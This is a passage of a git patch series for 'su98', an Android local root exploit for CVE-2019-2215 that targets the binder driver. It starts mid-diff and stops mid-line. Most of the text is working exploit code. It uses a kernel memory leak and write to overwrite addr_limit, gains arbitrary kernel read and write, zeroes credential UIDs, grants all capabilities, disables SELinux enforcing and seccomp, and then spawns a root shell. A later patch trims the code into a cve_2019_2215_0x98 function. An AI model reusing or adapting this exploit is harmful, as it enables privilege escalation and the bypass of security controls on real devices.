+ unsigned long address = 0; + + FILE *cached = fopen(pathname, "r"); + if (cached != NULL) { + fscanf(cached, "%lx", &address); + fclose(cached); + } + + free(pathname); + + return address; +} + +void cacheSymbol(char* symbol, unsigned long address) { +#ifdef KALLSYMS_CACHING + if (address != 0 && address != findSymbol_in_cache(symbol)) { + char* pathname = allocateSymbolCachePathName(symbol); + FILE *cached = fopen(pathname, "w"); + if (cached != NULL) { + fprintf(cached, "%lx\n", address); + fclose(cached); + char* cmd = alloca(10+strlen(pathname)+1); + sprintf(cmd, "chmod 666 %s", pathname); + system(cmd); + message("cached %s", pathname); + } + free(pathname); + } +#endif +} + +unsigned long findSymbol(unsigned long pointInKernelMemory, char *symbol) +{ + unsigned long address = 0; + +#ifdef KALLSYMS_CACHING + address = findSymbol_in_cache(symbol); + if (address != 0) + return address; +#endif + +#ifndef PROC_KALLSYMS + address = findSymbol_memory_search(symbol); +#else + char buf[1024]; + buf[0] = 0; + errno = 0; + + FILE *ks = fopen("/proc/kallsyms", "r"); + if (ks == NULL) { + return findSymbol_memory_search(symbol); + } + fgets(buf, 1024, ks); + if (ks != NULL) + fclose(ks); + + if ( (buf[0] == 0 || strncmp(buf, "0000000000000000", 16) == 0) && fixKallsymsFormatStrings(pointInKernelMemory) == 0) + { + message( "MAIN: **partial failure** cannnot fix kallsyms format string"); + address = findSymbol_memory_search(symbol); + } + else { + ks = fopen("/proc/kallsyms", "r"); + while (NULL != fgets(buf, sizeof(buf), ks)) + { + unsigned long a; + unsigned char type; + unsigned n = strlen(symbol); + char sym[1024]; + sscanf(buf, "%lx %c %s", &a, &type, sym); + if (!strncmp(sym, symbol, n) && (sym[n]=='.' || !sym[n])) { + message( "found %s in /proc/kallsyms", sym); + address = a; + break; + } + } + + fclose(ks); + } +#endif + + return address; +} + +void checkKernelVersion() { + kernel3 = 1; + FILE *k = fopen("/proc/version", "r"); + if (k != NULL) { + char buf[1024]=""; + fgets(buf, sizeof(buf), k); + if (NULL != strstr(buf, "Linux version 4")) + kernel3 = 0; + } + if (kernel3) message("MAIN: detected kernel version 3"); + else message("MAIN: detected kernel version other than 3"); +} + +void getPackageName(unsigned uid, char* packageName) { + if (uid == 2000) { + strcpy(packageName, "adb"); + return; + } + else if (uid == 0) { + strcpy(packageName, "root"); + return; + } + strcpy(packageName, "(unknown)"); + FILE* f = fopen("/data/system/packages.list", "r"); + if (f == NULL) + return; + unsigned id; + char pack[MAX_PACKAGE_NAME]; + while(2 == fscanf(f, "%s %u%*[^\n]", pack, &id)) { + if (id == uid) { + strncpy(packageName, pack, MAX_PACKAGE_NAME); + packageName[MAX_PACKAGE_NAME-1] = 0; + goto DONE; + } + } +DONE: + fclose(f); +} + +int checkWhitelist(unsigned uid) { + if (uid == 0 || uid == 2000) + return 1; + + char *path = alloca(strlen(myPath) + sizeof(whitelist)); + strcpy(path, myPath); + strcat(path, whitelist); + + FILE* wl = fopen(path, "r"); + + if (wl == NULL) { + message("MAIN: no whitelist, so all callers are welcome"); + return 1; + } + + char parent[MAX_PACKAGE_NAME]; + getPackageName(uid, parent); + + int allowed = 0; + + char line[512]; + while (NULL != fgets(line, sizeof(line), wl)) { + line[sizeof(line)-1] = 0; + char* p = line; + while (*p && isspace(*p)) + p++; + char*q = p + strlen(p) - 1; + while (p < q && isspace(*q)) + *q-- = 0; + if (q <= p) + continue; + if (*q == '*') { + if (!strncmp(parent, p, q-p-1)) { + allowed = 1; + goto DONE; + } + } + else if (!strcmp(parent,p)) { + allowed = 1; + goto DONE; + } + } + +DONE: + fclose(wl); + + if (allowed) + message("MAIN: whitelist allows %s", parent); + else { + if (parent[0]) { + char *path = alloca(strlen(myPath) + sizeof(denyfile)); + strcpy(path, myPath); + strcat(path, denyfile); + FILE* f = fopen(path, "a"); + if (f != NULL) { + fprintf(f, "%s\n", parent); + fclose(f); + } + } + } + + return allowed; +} + +/* for devices with randomized thread_info location on stack: thanks to chompie1337 */ +unsigned long find_thread_info_ptr_kernel3(unsigned long kstack) { + unsigned long kstack_data[16384/8]; + + message("MAIN: parsing kernel stack to find thread_info"); + if (!leak_data_retry(NULL, 0, kstack, kstack_data, sizeof(kstack_data), NULL, NULL)) + error("Cannot leak kernel stack"); + + for (unsigned int pos = 0; pos < sizeof(kstack_data)/8; pos++) + if (kstack_data[pos] == USER_DS) + return kstack+pos*8-8; + + return 0; +} + +unsigned long find_selinux_enforcing(unsigned long search_base) { + unsigned long address = findSymbol(search_base, "selinux_enforcing"); + if (address == 0) { + message("MAIN: direct search didn't work, so searching via avc_denied"); + address = findSymbol(search_base, "avc_denied"); + if (address == 0) + return 0; + address = findSelinuxEnforcingFromAvcDenied(address); + } + return address; +} + +int main(int argc, char **argv) +{ + int command = 0; + int dump = 0; + int rejoinNS = 1; + + char result[PATH_MAX]; + ssize_t count = readlink("/proc/self/exe", result, PATH_MAX); + char* p = strrchr(result, '/'); + if (p == NULL) + p = result; + else + p++; + *p = 0; + myPath = result; + + p = strrchr(argv[0], '/'); + if (p == NULL) + p = argv[0]; + else + p++; + + myName = p; + int n = p-argv[0]; + + if (!strcmp(myName,"su")) { + quiet = 1; + } + + while(argc >= 2 && argv[1][0] == '-') { + switch(argv[1][1]) { + case 'q': + quiet = 1; + break; + case 'v': + puts("su98 version 0.01"); + exit(0); + break; + case 'c': + command = 1; + quiet = 1; + break; + case 'd': + dump = 1; + break; + case 'N': + rejoinNS = 0; + break; + default: + break; + } + for (int i=1; i= 2) + quiet = 1; + + checkKernelVersion(); + + message("MAIN: starting exploit for devices with waitqueue at 0x98"); + + if (pipe(kernel_rw_pipe)) + error( "kernel_rw_pipe"); + + binder_fd = open("/dev/binder", O_RDONLY); + epfd = epoll_create(1000); + + unsigned long task_struct_plus_8 = 0xDEADBEEFDEADBEEFul; + unsigned long task_struct_ptr = 0xDEADBEEFDEADBEEFul; + + if (!leak_data_retry(NULL, 0, 0, NULL, 0, &task_struct_ptr, &task_struct_plus_8)) { + error("Failed to leak data"); + } + + unsigned long thread_info_ptr; + + if (task_struct_plus_8 == USER_DS) { + message("MAIN: thread_info is in task_struct"); + thread_info_ptr = task_struct_ptr; + } + else { + message("MAIN: thread_info should be in stack"); + thread_info_ptr = find_thread_info_ptr_kernel3(task_struct_plus_8); + if (thread_info_ptr == 0) + error("cannot find thread_info on kernel stack"); + } + + message("MAIN: task_struct_ptr = %lx", (unsigned long)task_struct_ptr); + message("MAIN: thread_info_ptr = %lx", (unsigned long)thread_info_ptr); + message("MAIN: Clobbering addr_limit"); + unsigned long const src = 0xFFFFFFFFFFFFFFFEul; + + if (!clobber_data_retry(thread_info_ptr + 8, &src, 8)) { + error("Failed to clobber addr_limit"); + } + + message("MAIN: thread_info = 0x%lx", thread_info_ptr); + + setbuf(stdout, NULL); + message("MAIN: should have stable kernel R/W now"); + + if (dump) { + unsigned long start, count; + start = 0xffffffc000000000ul; + count = 0x1000; + + if (argc >= 2) + sscanf(argv[1], "%lx", &start); + + start &= ~7; + + if (argc >= 3) + sscanf(argv[2], "%lx", &count); + unsigned long search = 0; + + int emit = 0; + + if (argc >= 4) + sscanf(argv[3], "%lx", &search); + else + emit = 1; + + unsigned char page[PAGE]; + for (unsigned long i=start; i=PAGE) { + n = PAGE; + } + else { + n = (n+15)/16*16; + } + hexdump_memory(page, n); + } + } + exit(0); + } + + + message("MAIN: searching for cred offset in task_struct"); + unsigned char task_struct_data[PAGE+16]; + kernel_read(task_struct_ptr, task_struct_data, PAGE); + + unsigned long offset_task_struct__cred = getCredOffset(task_struct_data); + + unsigned long cred_ptr = kernel_read_ulong(task_struct_ptr + offset_task_struct__cred); + +#ifdef OFFSET__cred__user_ns + unsigned long search_base = kernel_read_ulong(cred_ptr + OFFSET__cred__user_ns); + if (search_base < 0xffffffc000000000ul || search_base >= 0xffffffd000000000ul) + search_base = 0xffffffc001744b70ul; +#else +#define search_base 0xffffffc000000000ul +#endif + + message("MAIN: search_base = %lx", search_base); + + message("MAIN: searching for selinux_enforcing"); + unsigned long selinux_enforcing = find_selinux_enforcing(search_base); + +// unsigned long selinux_enabled = findSymbol(search_base, "selinux_enabled"); + + unsigned int oldUID = getuid(); + + message("MAIN: setting root credentials with cred offset %lx", offset_task_struct__cred); + + for (int i = 0; i < 8; i++) + kernel_write_uint(cred_ptr + OFFSET__cred__uid + i * 4, 0); + + if (getuid() != 0) + error( "changing UIDs to 0"); + + message("MAIN: UID = 0"); + + message("MAIN: enabling capabilities"); + + // reset securebits + kernel_write_uint(cred_ptr + OFFSET__cred__securebits, 0); + + kernel_write_ulong(cred_ptr+OFFSET__cred__cap_inheritable, 0x3fffffffffUL); + kernel_write_ulong(cred_ptr + OFFSET__cred__cap_permitted, 0x3fffffffffUL); + kernel_write_ulong(cred_ptr + OFFSET__cred__cap_effective, 0x3fffffffffUL); + kernel_write_ulong(cred_ptr + OFFSET__cred__cap_bset, 0x3fffffffffUL); + kernel_write_ulong(cred_ptr+OFFSET__cred__cap_ambient, 0x3fffffffffUL); + + int seccompStatus = prctl(PR_GET_SECCOMP); + message("MAIN: SECCOMP status %d", seccompStatus); + if (seccompStatus) + { + message("MAIN: disabling SECCOMP"); + kernel_write_ulong(thread_info_ptr + OFFSET__thread_info__flags, 0); + // TODO: search for seccomp offset + int offset__task_struct__seccomp = getSeccompOffset(task_struct_data, offset_task_struct__cred, seccompStatus); + if (offset__task_struct__seccomp < 0) + message("MAIN: **FAIL** cannot find seccomp offset"); + else { + message("MAIN: seccomp offset %lx", offset__task_struct__seccomp); + kernel_write_ulong(task_struct_ptr + offset__task_struct__seccomp, 0); + kernel_write_ulong(task_struct_ptr + offset__task_struct__seccomp + 8, 0); + message("MAIN: SECCOMP status %d", prctl(PR_GET_SECCOMP)); + } + } + + unsigned prev_selinux_enforcing = 1; + + if (selinux_enforcing == 0) + message("MAIN: **FAIL** did not find selinux_enforcing symbol"); + else + { + prev_selinux_enforcing = kernel_read_uint(selinux_enforcing); + kernel_write_uint(selinux_enforcing, 0); + message("MAIN: disabled selinux enforcing"); + + cacheSymbol("selinux_enforcing", selinux_enforcing); + } + + if (rejoinNS) { + char cwd[1024]; + getcwd(cwd, sizeof(cwd)); + + message("MAIN: re-joining init mount namespace"); + int fd = open("/proc/1/ns/mnt", O_RDONLY); + + if (fd < 0) { + error("open"); + exit(1); + } + + if (setns(fd, CLONE_NEWNS) < 0) { + message("MAIN: **partial failure** could not rejoin init fs namespace"); + } + + message("MAIN: rejoining init net namespace"); + + fd = open("/proc/1/ns/net", O_RDONLY); + + if (fd < 0) { + error("open"); + } + + if (setns(fd, CLONE_NEWNET) < 0) { + message("MAIN: **partial failure** could not rejoin init net namespace"); + } + + chdir(cwd); + } + + if (!checkWhitelist(oldUID)) { + if (0 != selinux_enforcing) { + kernel_write_uint(selinux_enforcing, prev_selinux_enforcing); + } + errno = 0; + error("Whitelist check failed"); + } + + message("MAIN: root privileges ready"); + +/* process hangs if these are done */ +// unsigned long security_ptr = kernel_read_ulong(cred_ptr + OFFSET__cred__security); +// kernel_write_uint(security_ptr, 1310); +// kernel_write_uint(security_ptr+4, 1310); +// for (int i=0; i<6; i++) +// message("SID %u : ", kernel_read_uint(security_ptr + 4 * i)); + + if (command || argc == 2) { + execlp("sh", "sh", "-c", argv[1], (char *)0); + } + else { + message("MAIN: popping out root shell"); + execlp("sh", "sh", (char*)0); + } + + exit(0); +} From 7ed863e0ff530a3282e49c55bed68d5a0f57f974 Mon Sep 17 00:00:00 2001 From: j4nn <531585+j4nn@users.noreply.github.com> Date: Tue, 4 Feb 2020 22:32:55 +0100 Subject: [PATCH 03/14] remove not needed stuff from su98.c to simplify it --- jni/su98.c | 928 +---------------------------------------------------- 1 file changed, 6 insertions(+), 922 deletions(-) diff --git a/jni/su98.c b/jni/su98.c index 882a01a..ffb6896 100644 --- a/jni/su98.c +++ b/jni/su98.c @@ -11,17 +11,7 @@ #define DELAY_USEC 200000 -// $ uname -a -// Linux localhost 3.18.71-perf+ #1 SMP PREEMPT Tue Jul 17 14:44:34 KST 2018 aarch64 -//#define KERNEL_BASE 0xffffffc000080000ul #define KERNEL_BASE 0xffffffc000000000ul -#define OFFSET__thread_info__flags 0x000 -#define OFFSET__task_struct__stack 0x008 -#define OFFSET__cred__uid 0x004 -#define OFFSET__cred__securebits 0x024 -#define OFFSET__cred__cap_permitted 0x030 -#define OFFSET__cred__cap_effective (OFFSET__cred__cap_permitted+0x008) -#define OFFSET__cred__cap_bset (OFFSET__cred__cap_permitted+0x010) #define USER_DS 0x8000000000ul #define BINDER_SET_MAX_THREADS 0x40046205ul @@ -33,17 +23,6 @@ #define KALLSYMS_CACHING #define KSYM_NAME_LEN 128 -//Not needed, but saved for future use; the offsets are for LGV20 LS998 -//#define OFFSET__task_struct__seccomp 0x9b0 -//#define OFFSET__cred__user_ns 0x088 // if you define this, the first run might be a little faster -//#define OFFSET__task_struct__cred 0x550 -#define OFFSET__cred__security 0x078 -#define OFFSET__cred__cap_inheritable 0x028 -#define OFFSET__cred__cap_ambient 0x048 -//#define OFFSET__task_struct__mm 0x308 - - -#define _GNU_SOURCE #include #include #include @@ -65,6 +44,9 @@ #include #include #include +#include +#include +#include #define MAX_PACKAGE_NAME 1024 @@ -81,29 +63,8 @@ #define PAGE 0x1000ul #define TASK_STRUCT_OFFSET_FROM_TASK_LIST 0xE8 -int quiet = 0; - -const char whitelist[] = "su98-whitelist.txt"; -const char denyfile[] = "su98-denied.txt"; -int have_kallsyms = 0; -int kernel3 = 1; -char* myPath; -char* myName; - -struct kallsyms { - unsigned long addresses; - unsigned long names; - unsigned long num_syms; - unsigned long token_table; - unsigned long markers; - char* token_table_data; - unsigned short token_index_data[256]; -} kallsyms; - void message(char *fmt, ...) { - if (quiet) - return; va_list ap; va_start(ap, fmt); vprintf(fmt, ap); @@ -125,42 +86,6 @@ int isKernelPointer(unsigned long p) { return p >= KERNEL_BASE && p<=0xFFFFFFFFFFFFFFFEul; } -unsigned long kernel_read_ulong(unsigned long kaddr); - -void hexdump_memory(void *_buf, size_t byte_count) -{ - unsigned char *buf = _buf; - unsigned long byte_offset_start = 0; - if (byte_count % 16) - error( "hexdump_memory called with non-full line"); - for (unsigned long byte_offset = byte_offset_start; byte_offset < byte_offset_start + byte_count; - byte_offset += 16) - { - char line[1000]; - char *linep = line; - linep += sprintf(linep, "%08lx ", byte_offset); - for (int i = 0; i < 16; i++) - { - linep += sprintf(linep, "%02hhx ", (unsigned char)buf[byte_offset + i]); - } - linep += sprintf(linep, " |"); - for (int i = 0; i < 16; i++) - { - char c = buf[byte_offset + i]; - if (isalnum(c) || ispunct(c) || c == ' ') - { - *(linep++) = c; - } - else - { - *(linep++) = '.'; - } - } - linep += sprintf(linep, "|"); - puts(line); - } -} - int epfd; int binder_fd; @@ -207,7 +132,7 @@ int clobber_data(unsigned long payloadAddress, const void *src, unsigned long pa struct iovec iovec_array[IOVEC_ARRAY_SZ]; memset(iovec_array, 0, sizeof(iovec_array)); - const unsigned SECOND_WRITE_CHUNK_IOVEC_ITEMS = 3; +#define SECOND_WRITE_CHUNK_IOVEC_ITEMS 3 unsigned long second_write_chunk[SECOND_WRITE_CHUNK_IOVEC_ITEMS * 2] = { (unsigned long)dummyBuffer, @@ -569,12 +494,6 @@ int raw_kernel_write(unsigned long kaddr, void *buf, unsigned long len) return len; } -void kernel_write(unsigned long kaddr, void *buf, unsigned long len) -{ - if (len != raw_kernel_write(kaddr, buf, len)) - error( "error with kernel writing"); -} - int raw_kernel_read(unsigned long kaddr, void *buf, unsigned long len) { if (len > PAGE) @@ -587,587 +506,6 @@ int raw_kernel_read(unsigned long kaddr, void *buf, unsigned long len) return len; } -void kernel_read(unsigned long kaddr, void *buf, unsigned long len) -{ - if (len > PAGE) - error( "kernel reads over PAGE_SIZE are messy, tried 0x%lx", len); - if (len != raw_kernel_read(kaddr, buf, len)) - error( "error with kernel reading"); -} - -unsigned char kernel_read_uchar(unsigned long offset) { - if (kernel_buffer.pageBufferOffset == 0 || offset < kernel_buffer.pageBufferOffset || kernel_buffer.pageBufferOffset+PAGE <= offset) { - kernel_buffer.pageBufferOffset = offset & ~(PAGE-1); - kernel_read(kernel_buffer.pageBufferOffset, kernel_buffer.pageBuffer, PAGE); - } - return kernel_buffer.pageBuffer[offset-kernel_buffer.pageBufferOffset]; -} - -unsigned long kernel_read_ulong(unsigned long kaddr) -{ - unsigned long data; - kernel_read(kaddr, &data, sizeof(data)); - return data; -} -unsigned long kernel_read_uint(unsigned long kaddr) -{ - unsigned int data; - kernel_read(kaddr, &data, sizeof(data)); - return data; -} -void kernel_write_ulong(unsigned long kaddr, unsigned long data) -{ - kernel_write(kaddr, &data, sizeof(data)); -} -void kernel_write_uint(unsigned long kaddr, unsigned int data) -{ - kernel_write(kaddr, &data, sizeof(data)); -} -void kernel_write_uchar(unsigned long kaddr, unsigned char data) -{ - kernel_write(kaddr, &data, sizeof(data)); -} - -// code from DrZener -unsigned long findSelinuxEnforcingFromAvcDenied(unsigned long avc_denied_address) -{ - unsigned long address; - unsigned long selinux_enforcing_address; - bool adrp_found = 0; - for(address = avc_denied_address; address <= avc_denied_address + 0x60; address += 4) - { - unsigned int instruction = kernel_read_uint(address); - - if(!adrp_found) - { - unsigned int instruction_masked = instruction; - instruction_masked >>= 24; - instruction_masked &= 0x9F; - if((instruction_masked ^ 0x90) == 0 ) - { - selinux_enforcing_address = address; - unsigned int imm_hi, imm_lo, imm; - imm_hi = (instruction >> 5) & 0x7FFFF; - imm_lo = (instruction >> 29) & 3; - imm = ((imm_hi << 2) | imm_lo) << 12; - selinux_enforcing_address &= 0xFFFFFFFFFFFFF000; - selinux_enforcing_address += imm; - adrp_found = 1; - } - } - if (adrp_found) - { - unsigned int instruction_masked = instruction; - instruction_masked >>= 22; - instruction_masked &= 0x2FF; - if((instruction_masked ^ 0x2E5) == 0 ) - { - unsigned int offset = ((instruction >> 10) & 0xFFF) << 2; - selinux_enforcing_address += offset; - message("selinux_enforcing address found"); - return selinux_enforcing_address; - } - } - } - message("selinux_enforcing address not found"); - return 0UL; -} - -// Make the kallsyms module not check for permission to list symbol addresses -int fixKallsymsFormatStrings(unsigned long start) -{ - errno = 0; - - int found = 0; - - start &= ~(PAGE - 1); - - unsigned long searchTarget; - - memcpy(&searchTarget, "%pK %c %", 8); - - int backwards = 1; - int forwards = 1; - int direction = 1; - unsigned long forwardAddress = start; - unsigned long backwardAddress = start - PAGE; - unsigned long page[PAGE / 8]; - - message("MAIN: searching for kallsyms format strings"); - - while ((backwards || forwards) && found < 2) - { - unsigned long address = direction > 0 ? forwardAddress : backwardAddress; - - if (address < 0xffffffc000000000ul || address >= 0xffffffd000000000ul || raw_kernel_read(address, page, PAGE) != PAGE) - { - if (direction > 0) - forwards = 0; - else - backwards = 0; - } - else - { - for (int i = 0; i < PAGE / 8; i++) - if (page[i] == searchTarget) - { - unsigned long a = address + 8 * i; - - char fmt[16]; - - kernel_read(a, fmt, 16); - - if (!strcmp(fmt, "%pK %c %s\t[%s]\x0A")) - { - message("MAIN: patching longer version at %lx", a); - if (15 != raw_kernel_write(a, "%p %c %s\t[%s]\x0A", 15)) { - message("MAIN: **fail** probably you have read-only const storage"); - return found; - } - found++; - } - else if (!strcmp(fmt, "%pK %c %s\x0A")) - { - message("MAIN: patching shorter version at %lx", a); - if (15 != raw_kernel_write(a, "%p %c %s\x0A", 10)) { - message("MAIN: **fail** probably you have read-only const storage"); - return found; - } - found++; - } - - if (found >= 2) - return 2; - } - } - - if (direction > 0) - forwardAddress += PAGE; - else - backwardAddress -= PAGE; - - direction = -direction; - - if (direction < 0 && !backwards) - { - direction = 1; - } - else if (direction > 0 && !forwards) - { - direction = -1; - } - } - - return found; -} - -int verifyCred(unsigned long cred_ptr) { - unsigned uid; - if (cred_ptr < 0xffffff0000000000ul || 4 != raw_kernel_read(cred_ptr+OFFSET__cred__uid, &uid, 4)) - return 0; - return uid == getuid(); -} - -int getCredOffset(unsigned char* task_struct_data) { - char taskname[16]; - unsigned n = MIN(strlen(myName)+1, 16); - memcpy(taskname, myName, n); - taskname[15] = 0; - - for (int i=OFFSET__task_struct__stack+8; iseccomp_status == seccompStatus && isKernelPointer(p->seccomp_filter)) { - if (p->child_exe == p->parent_exe + 1) { - return i; - } - else { - if (firstGuess < 0) - firstGuess = i; - } - } - } - - return firstGuess; -} - -unsigned long countIncreasingEntries(unsigned long start) { - unsigned long count = 1; - unsigned long prev = kernel_read_ulong(start); - do { - start += 8; - unsigned long v = kernel_read_ulong(start); - if (v < prev) - return count; - count++; - } while(1); -} - -int increasing(unsigned long* location, unsigned n) { - for (int i=0; i location[i+1]) - return 0; - return 1; -} - -int find_kallsyms_addresses(unsigned long searchStart, unsigned long searchEnd, unsigned long* startP, unsigned long* countP) { - if (searchStart == 0) - searchStart = KERNEL_BASE; - if (searchEnd == 0) - searchEnd = searchStart + 0x5000000; - unsigned long foundStart = 0; - - unsigned char page[PAGE]; - for (unsigned long i=searchStart; i= 40000) { - *startP = i+j; - *countP = count; - return 1; - } - else if (count >= 10000) { - message("MAIN: interesting, found a sequence of 10000 non-decreasing entries at 0x%lx", (i+j)); - } - } - } - } - return 0; -} - -int get_kallsyms_name(unsigned long offset, char* name) { - unsigned char length = kernel_read_uchar(offset++); - - for (unsigned char i = 0; i < length ; i++) { - int index = kallsyms.token_index_data[kernel_read_uchar(offset++)]; - int n = strlen(kallsyms.token_table_data+index); - memcpy(name, kallsyms.token_table_data+index, n); - name += n; - } - *name = 0; - - return 1+length; -} - -int loadKallsyms() { - if (have_kallsyms) - - return 1; - if (!find_kallsyms_addresses(0, 0, &kallsyms.addresses, &kallsyms.num_syms)) - return 0; - - message("MAIN: kallsyms names start at 0x%lx and have %ld entries", kallsyms.addresses, kallsyms.num_syms); - unsigned long offset = kallsyms.addresses + 8 * kallsyms.num_syms; - - message("MAIN: kallsyms names end at 0x%lx", offset); - struct kernel_buffer buf = {.pageBufferOffset = 0}; - - offset = (offset + 0xFFul) & ~0xFFul; - - unsigned long count = kernel_read_ulong(offset); - offset += 8; - - if (count != kallsyms.num_syms) { - message("MAIN: **fail** kallsym entry count mismatch %ld", count); - } - - offset = (offset + 0xFFul) & ~0xFFul; - - kallsyms.names = offset; - - for (unsigned long i = 0 ; i < kallsyms.num_syms ; i++) { - unsigned char len = kernel_read_uchar(offset++); - offset += len; - } - - offset = (offset + 0xFF) & ~0xFFul; - - kallsyms.markers = offset; - - offset += 8 * ((kallsyms.num_syms + 255ul) / 256ul); - - offset = (offset + 0xFF) & ~0xFFul; - - kallsyms.token_table = offset; - - int tokens = 0; - - while (tokens < 256) { - if (kernel_read_uchar(offset++) == 0) - tokens++; - } - - unsigned long token_table_length = offset - kallsyms.token_table; - - kallsyms.token_table_data = malloc(token_table_length); - - errno = 0; - if (kallsyms.token_table_data == NULL) - error("allocating token table"); - - for (unsigned long i = 0 ; i < token_table_length ; i++) - kallsyms.token_table_data[i] = kernel_read_uchar(kallsyms.token_table + i); - - offset = (offset + 0xFF) & ~0xFFul; - - kernel_read(offset, kallsyms.token_index_data, sizeof(kallsyms.token_index_data)); - - have_kallsyms = 1; - - return 1; -} - -unsigned long findSymbol_memory_search(char* symbol) { - message("MAIN: searching for kallsyms table"); - if (! loadKallsyms()) { - message("MAIN: **fail** cannot find kallsyms table"); - } - - unsigned long offset = kallsyms.names; - char name[KSYM_NAME_LEN]; - unsigned n = strlen(symbol); - - for(unsigned long i = 0; i < kallsyms.num_syms; i++) { - unsigned int n = get_kallsyms_name(offset, name); - if (!strncmp(name+1, symbol, n) && (name[1+n] == '.' || !name[1+n])) { - unsigned long address = kernel_read_ulong(kallsyms.addresses + i*8); - message( "MAIN: found %s in kernel memory at %lx", symbol, address); - - return address; - } - offset += n; - } - - return 0; -} - -char* allocateSymbolCachePathName(char* symbol) { - int n = strlen(myPath); - - char* pathname = malloc(strlen(symbol)+7+1+n); - if (pathname == NULL) { - errno = 0; - error("allocating memory for pathname"); - } - strcpy(pathname, myPath); - strcat(pathname, symbol); - strcat(pathname, ".symbol"); - - return pathname; -} - -unsigned long findSymbol_in_cache(char* symbol) { - char* pathname = allocateSymbolCachePathName(symbol); - unsigned long address = 0; - - FILE *cached = fopen(pathname, "r"); - if (cached != NULL) { - fscanf(cached, "%lx", &address); - fclose(cached); - } - - free(pathname); - - return address; -} - -void cacheSymbol(char* symbol, unsigned long address) { -#ifdef KALLSYMS_CACHING - if (address != 0 && address != findSymbol_in_cache(symbol)) { - char* pathname = allocateSymbolCachePathName(symbol); - FILE *cached = fopen(pathname, "w"); - if (cached != NULL) { - fprintf(cached, "%lx\n", address); - fclose(cached); - char* cmd = alloca(10+strlen(pathname)+1); - sprintf(cmd, "chmod 666 %s", pathname); - system(cmd); - message("cached %s", pathname); - } - free(pathname); - } -#endif -} - -unsigned long findSymbol(unsigned long pointInKernelMemory, char *symbol) -{ - unsigned long address = 0; - -#ifdef KALLSYMS_CACHING - address = findSymbol_in_cache(symbol); - if (address != 0) - return address; -#endif - -#ifndef PROC_KALLSYMS - address = findSymbol_memory_search(symbol); -#else - char buf[1024]; - buf[0] = 0; - errno = 0; - - FILE *ks = fopen("/proc/kallsyms", "r"); - if (ks == NULL) { - return findSymbol_memory_search(symbol); - } - fgets(buf, 1024, ks); - if (ks != NULL) - fclose(ks); - - if ( (buf[0] == 0 || strncmp(buf, "0000000000000000", 16) == 0) && fixKallsymsFormatStrings(pointInKernelMemory) == 0) - { - message( "MAIN: **partial failure** cannnot fix kallsyms format string"); - address = findSymbol_memory_search(symbol); - } - else { - ks = fopen("/proc/kallsyms", "r"); - while (NULL != fgets(buf, sizeof(buf), ks)) - { - unsigned long a; - unsigned char type; - unsigned n = strlen(symbol); - char sym[1024]; - sscanf(buf, "%lx %c %s", &a, &type, sym); - if (!strncmp(sym, symbol, n) && (sym[n]=='.' || !sym[n])) { - message( "found %s in /proc/kallsyms", sym); - address = a; - break; - } - } - - fclose(ks); - } -#endif - - return address; -} - -void checkKernelVersion() { - kernel3 = 1; - FILE *k = fopen("/proc/version", "r"); - if (k != NULL) { - char buf[1024]=""; - fgets(buf, sizeof(buf), k); - if (NULL != strstr(buf, "Linux version 4")) - kernel3 = 0; - } - if (kernel3) message("MAIN: detected kernel version 3"); - else message("MAIN: detected kernel version other than 3"); -} - -void getPackageName(unsigned uid, char* packageName) { - if (uid == 2000) { - strcpy(packageName, "adb"); - return; - } - else if (uid == 0) { - strcpy(packageName, "root"); - return; - } - strcpy(packageName, "(unknown)"); - FILE* f = fopen("/data/system/packages.list", "r"); - if (f == NULL) - return; - unsigned id; - char pack[MAX_PACKAGE_NAME]; - while(2 == fscanf(f, "%s %u%*[^\n]", pack, &id)) { - if (id == uid) { - strncpy(packageName, pack, MAX_PACKAGE_NAME); - packageName[MAX_PACKAGE_NAME-1] = 0; - goto DONE; - } - } -DONE: - fclose(f); -} - -int checkWhitelist(unsigned uid) { - if (uid == 0 || uid == 2000) - return 1; - - char *path = alloca(strlen(myPath) + sizeof(whitelist)); - strcpy(path, myPath); - strcat(path, whitelist); - - FILE* wl = fopen(path, "r"); - - if (wl == NULL) { - message("MAIN: no whitelist, so all callers are welcome"); - return 1; - } - - char parent[MAX_PACKAGE_NAME]; - getPackageName(uid, parent); - - int allowed = 0; - - char line[512]; - while (NULL != fgets(line, sizeof(line), wl)) { - line[sizeof(line)-1] = 0; - char* p = line; - while (*p && isspace(*p)) - p++; - char*q = p + strlen(p) - 1; - while (p < q && isspace(*q)) - *q-- = 0; - if (q <= p) - continue; - if (*q == '*') { - if (!strncmp(parent, p, q-p-1)) { - allowed = 1; - goto DONE; - } - } - else if (!strcmp(parent,p)) { - allowed = 1; - goto DONE; - } - } - -DONE: - fclose(wl); - - if (allowed) - message("MAIN: whitelist allows %s", parent); - else { - if (parent[0]) { - char *path = alloca(strlen(myPath) + sizeof(denyfile)); - strcpy(path, myPath); - strcat(path, denyfile); - FILE* f = fopen(path, "a"); - if (f != NULL) { - fprintf(f, "%s\n", parent); - fclose(f); - } - } - } - - return allowed; -} - /* for devices with randomized thread_info location on stack: thanks to chompie1337 */ unsigned long find_thread_info_ptr_kernel3(unsigned long kstack) { unsigned long kstack_data[16384/8]; @@ -1183,79 +521,8 @@ unsigned long find_thread_info_ptr_kernel3(unsigned long kstack) { return 0; } -unsigned long find_selinux_enforcing(unsigned long search_base) { - unsigned long address = findSymbol(search_base, "selinux_enforcing"); - if (address == 0) { - message("MAIN: direct search didn't work, so searching via avc_denied"); - address = findSymbol(search_base, "avc_denied"); - if (address == 0) - return 0; - address = findSelinuxEnforcingFromAvcDenied(address); - } - return address; -} - -int main(int argc, char **argv) +int cve_2019_2215_0x98(void) { - int command = 0; - int dump = 0; - int rejoinNS = 1; - - char result[PATH_MAX]; - ssize_t count = readlink("/proc/self/exe", result, PATH_MAX); - char* p = strrchr(result, '/'); - if (p == NULL) - p = result; - else - p++; - *p = 0; - myPath = result; - - p = strrchr(argv[0], '/'); - if (p == NULL) - p = argv[0]; - else - p++; - - myName = p; - int n = p-argv[0]; - - if (!strcmp(myName,"su")) { - quiet = 1; - } - - while(argc >= 2 && argv[1][0] == '-') { - switch(argv[1][1]) { - case 'q': - quiet = 1; - break; - case 'v': - puts("su98 version 0.01"); - exit(0); - break; - case 'c': - command = 1; - quiet = 1; - break; - case 'd': - dump = 1; - break; - case 'N': - rejoinNS = 0; - break; - default: - break; - } - for (int i=1; i= 2) - quiet = 1; - - checkKernelVersion(); - message("MAIN: starting exploit for devices with waitqueue at 0x98"); if (pipe(kernel_rw_pipe)) @@ -1294,190 +561,7 @@ int main(int argc, char **argv) } message("MAIN: thread_info = 0x%lx", thread_info_ptr); - - setbuf(stdout, NULL); message("MAIN: should have 